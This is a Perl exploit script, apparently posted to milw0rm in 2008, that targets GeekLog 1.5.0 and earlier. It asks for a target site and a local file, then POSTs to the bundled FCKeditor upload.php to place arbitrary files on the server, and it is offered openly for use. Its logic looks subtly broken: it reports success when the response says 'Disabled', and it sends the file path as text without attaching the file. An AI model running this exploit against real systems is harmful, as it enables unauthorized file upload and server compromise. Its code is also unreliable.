GeekLog <= 1.5.0 Remote Arbitrary File Upload Exploit

#!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; print <<INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ + GeekLog <= 1.5.0 Remote Arbitrary File Upload + + + + Discovered && Coded By: t0pP8uZz + + + + 0day?!?Most sites need custom configuration files + + for this exploit to actually work, anyway enjoy + + + + Discovered On: 20 August 2008 / milw0rm.com + + + + Script Download: http://www.geeklog.net + +++++++++++++++++++++++++++++++++++++++++++++++++++++ INTRO print "Enter URL(ie: http://site.com): "; chomp(my $url=<STDIN>); print "Enter File Path(path to local file to upload): "; chomp(my $file=<STDIN>); my $ua = LWP::UserAgent->new; my $re = $ua->request(POST $url.'/fckeditor/editor/filemanager/upload/php/upload.php', Content_Type => 'form-data', Content => [ NewFile => $file ] ); if($re->is_success) { if( index($re->content, "Disabled") != -1 ) { print "Exploit Successfull! File Uploaded!\n"; } else { print "File Upload Is Disabled! Failed!\n"; } } else { print "HTTP Request Failed!\n"; } exit;